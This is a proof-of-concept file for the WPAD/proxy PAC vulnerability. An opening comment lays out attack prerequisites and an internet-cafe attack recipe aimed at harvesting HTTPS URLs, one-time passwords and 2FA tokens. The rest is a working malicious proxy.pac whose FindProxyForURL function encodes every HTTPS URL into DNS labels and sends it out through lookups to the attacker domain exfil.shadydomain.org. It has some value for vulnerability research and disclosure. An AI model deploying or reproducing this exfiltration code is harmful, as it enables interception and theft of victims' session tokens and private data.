/*
saw this vuln: https://nakedsecurity.sophos.com/2016/05/25/when-domain-names-attack-the-wpad-name-collision-vulnerability/
looked at WPAD/proxy pac, = a giant piece of shit
Vuln is in proxy pac _engines_ in the software itself, impact is increased by shitty WPAD autoconfig.
through this vuln you get free HTTPS data from any client that you can force into using another proxy.pac =  free HTTPS data (Full URL + GET params)

All mayor browsers support WPAD/proxy pac's (And Android iOS etc)
WPAD can be done by the OS, software can inherit the found proxy.pac location by the OS
WPAD can also be implemented in the software itself *cough*(Chrome)*cough*
 
Firefox will use the OS setting by default, but can use autoconfig over DHCP by itself.

WPAD can use DNS or DHCP
or the WPAD.intranetsuffix.that.gets.traferserd.to.tld => WPAD.that.gets.traferserd.to.tld => etc.. => WPAD.tld
And almost all software supports static configuration to a pac file URL.

You need to have either:
	MITM access to DNS
	MITM access to DHCP
	Phoney hotspot/connection
	A computer in the network named "WPAD"
	A WPAD.tld domain (although probz fixed before this poc is released)
	MITM access to HTTP (on a staticly configured client)
	
-> Go to a random internet cafe, name your computer WPAD, host WPAD.dat (just rename proxy.pac) on port 80
-> Monitor DNS reqs to shadydomain.exfil
-> Get free HTTPS OTP, 2FA, OATH tokens whatsapp messages etc...
-> Profit?
	
POC video: https://www.youtube.com/watch?v=_jh1A0tA4PI

BTW, credit where credit is due: although I found this vulnerability independently

I reported this on May 26, 2016, Alex Chapman & Paul Stone found this back in March.
But it also Maxim Andreev a.k.a @cdump found this waaay before, but never got traction? 

Cheers, and be safe
*/

/* Oh and if you just want to know how the script works:

<body>
	<script src="poc.pac"></script>
	<script>
		function dnsResolve(domain){ //PolyFill
			console.log('simulated dns request to ',domain);
		}
		
		FindProxyForURL("https://www.google.com/index.php?SecretToken1=itseemslikewpadorpacisaweirdidea&SecretToken2=whentryingsohardtokeephttpssecure&SecretToken3=althoughtheproblemseemsinsanelywidespread:(&SecretToken4=thisisgoingtobemessy", "www.google.com");
	</script>
</body>
*/

//proxy.pac / WPAD.dat:
function FindProxyForURL(url, host) {
	var exfilSeqNum, exfilPrefix, exfilSuffix, UID;
	var exfilPattern;
	
	if(url.substring(0, 8)=="https://"){
		UID = new Date().valueOf() + (Math.random()*12).toString().split(".")[1].substring(0, 6);
		exfilSeqNum = 0;
		exfilPrefix = host + '-' + UID;
		exfilSuffix = '.exfil.shadydomain.org';
		//RFC 1035;
		maxLabelLength = 63; //labelname/subdomain + '.'
	    maxLabels = Math.round((253 - (4 + exfilPrefix.length + exfilSuffix.length)) / (maxLabelLength + 1));
		
		//Encode entire URL to format transportable over DNS
		var exfilData = "";
		for (var i = 0, len = url.length; i < len; i++) {
			exfilData += dnsFriendlyEncode(url[i]);
		}
		exfilData = trimHypens(exfilData); //trim '-' from both ends
		exfilData = exfilData.replace(/--/g, "-"); //remove redundant seperators
		var exfilDatas = exfilData.match(/.{1,63}/g); 
		
		var newRequest = [];
		var perparedRequests = [];
		
		//Spread exfilData over labels of max 63 chars each.
		//Spread labels over requests with a max total length of 253
		for(var i = 0, len = exfilDatas.length; i < len; i++) {
			newRequest.push(trimHypens(exfilDatas[i]));
			if(newRequest.length == maxLabels){
				var request = newRequest.join('.');
				perparedRequests.push(trimHypens(request));
				newRequest = [];
			}
		}
		if(newRequest.length > 0){
			var request = newRequest.join('.');
			perparedRequests.push(trimHypens(request));
		}
		//Dispatch all requests with a UID and their own Sequence Number
		for(var i = 0, len = perparedRequests.length; i < len; i++) {
			exfilPattern = exfilSeqNum + "." + exfilPrefix + "." + trimHypens(perparedRequests[i]) + exfilSuffix;
			dnsResolve(exfilPattern);
			exfilSeqNum++;
		}
	}
	return "DIRECT";
}

function dnsFriendlyEncode(c){
	if(!/^[a-z0-9]+$/i.test(c)){ //Encode every non-alphanumeric character to dec with seperator
		c = '-' + c.charCodeAt(0) + '-'; 
	}
	return c;
}

function trimHypens(str){
		while(str.length > 3 && (str.split('').pop() === '-') || (str[0] === '-')){
			if(str.split('').pop() === '-'){
				str = str.slice(0, -1);
			}
			if(str[0] === '-'){
				str = str.substring(1);
			}
		}
		return str;
}